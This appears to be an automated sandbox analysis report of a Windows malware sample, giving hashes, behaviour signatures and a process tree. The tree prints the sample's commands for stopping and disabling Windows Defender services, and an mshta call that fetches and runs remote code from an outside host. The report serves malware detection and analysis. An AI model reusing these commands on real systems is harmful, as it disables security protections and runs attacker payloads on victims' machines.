Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 08:18

General

  • Target

    b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe

  • Size

    2.6MB

  • MD5

    b2bd46e4156648e001ed731a637f30ce

  • SHA1

    fbf107993c2ba05c020752ff5139ce3f07bdbbef

  • SHA256

    e8079ed79b19b4dee2b023bf633be8d93e624cba8ca8963c05a62cfcc8b3b008

  • SHA512

    0c72a98a3a2c903020528e7790ef1559a4cfdd42ae5c4888b9e5cbe725a4b40625b2447eff4a47544450057c9ee3d30fcdb61661be81e899145b066c109ed2d6

  • SSDEEP

    49152:Lidw4KIvVbsaJukZoxA1pzCW9cPBBcuXwUdt515LspMKjnAV7:edwAVbnIkuxA1pzV9eBN5LspMbV7

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=115&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4200
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1712
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1616
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4508
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3400
    • C:\Users\Admin\AppData\Roaming\Microsoft\grbypq.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\grbypq.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4748
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3148
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:556
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:512
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2104
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=115&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4592
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\B2BD46~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3832

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\grbypq.exe

    Filesize

    2.6MB

    MD5

    b2bd46e4156648e001ed731a637f30ce

    SHA1

    fbf107993c2ba05c020752ff5139ce3f07bdbbef

    SHA256

    e8079ed79b19b4dee2b023bf633be8d93e624cba8ca8963c05a62cfcc8b3b008

    SHA512

    0c72a98a3a2c903020528e7790ef1559a4cfdd42ae5c4888b9e5cbe725a4b40625b2447eff4a47544450057c9ee3d30fcdb61661be81e899145b066c109ed2d6

  • memory/3696-56-0x0000000000400000-0x00000000008EB000-memory.dmp

    Filesize

    4.9MB

  • memory/4200-0-0x0000000000400000-0x00000000008EB000-memory.dmp

    Filesize

    4.9MB

  • memory/4200-1-0x0000000000F30000-0x0000000000F8A000-memory.dmp

    Filesize

    360KB

  • memory/4200-9-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-8-0x0000000002850000-0x0000000002851000-memory.dmp

    Filesize

    4KB

  • memory/4200-7-0x0000000000F10000-0x0000000000F11000-memory.dmp

    Filesize

    4KB

  • memory/4200-6-0x0000000002840000-0x0000000002841000-memory.dmp

    Filesize

    4KB

  • memory/4200-5-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

    Filesize

    4KB

  • memory/4200-4-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

    Filesize

    4KB

  • memory/4200-3-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

    Filesize

    4KB

  • memory/4200-2-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

    Filesize

    4KB

  • memory/4200-18-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-19-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-17-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-16-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-35-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-42-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-41-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-40-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-39-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-38-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-37-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-36-0x0000000000400000-0x00000000008EB000-memory.dmp

    Filesize

    4.9MB

  • memory/4200-34-0x00000000028E0000-0x00000000028E1000-memory.dmp

    Filesize

    4KB

  • memory/4200-33-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-32-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-31-0x0000000002980000-0x0000000002981000-memory.dmp

    Filesize

    4KB

  • memory/4200-30-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-29-0x0000000002970000-0x0000000002971000-memory.dmp

    Filesize

    4KB

  • memory/4200-28-0x0000000002930000-0x0000000002931000-memory.dmp

    Filesize

    4KB

  • memory/4200-27-0x0000000002940000-0x0000000002941000-memory.dmp

    Filesize

    4KB

  • memory/4200-26-0x0000000002950000-0x0000000002951000-memory.dmp

    Filesize

    4KB

  • memory/4200-25-0x0000000002910000-0x0000000002911000-memory.dmp

    Filesize

    4KB

  • memory/4200-24-0x00000000028C0000-0x00000000028C1000-memory.dmp

    Filesize

    4KB

  • memory/4200-23-0x00000000028F0000-0x00000000028F1000-memory.dmp

    Filesize

    4KB

  • memory/4200-22-0x0000000002870000-0x0000000002871000-memory.dmp

    Filesize

    4KB

  • memory/4200-21-0x0000000002880000-0x0000000002881000-memory.dmp

    Filesize

    4KB

  • memory/4200-20-0x0000000002890000-0x0000000002891000-memory.dmp

    Filesize

    4KB

  • memory/4200-15-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-14-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-13-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-12-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-11-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

    Filesize

    4KB

  • memory/4200-10-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-44-0x0000000000F30000-0x0000000000F8A000-memory.dmp

    Filesize

    360KB

  • memory/4200-43-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/4200-48-0x0000000000E90000-0x0000000000E91000-memory.dmp

    Filesize

    4KB

  • memory/4200-47-0x0000000000970000-0x0000000000971000-memory.dmp

    Filesize

    4KB

  • memory/4200-46-0x00000000036F0000-0x00000000036F2000-memory.dmp

    Filesize

    8KB

  • memory/4200-45-0x0000000003700000-0x0000000003702000-memory.dmp

    Filesize

    8KB

  • memory/4200-52-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/4200-55-0x0000000000F30000-0x0000000000F8A000-memory.dmp

    Filesize

    360KB

  • memory/4200-54-0x0000000000400000-0x00000000008EB000-memory.dmp

    Filesize

    4.9MB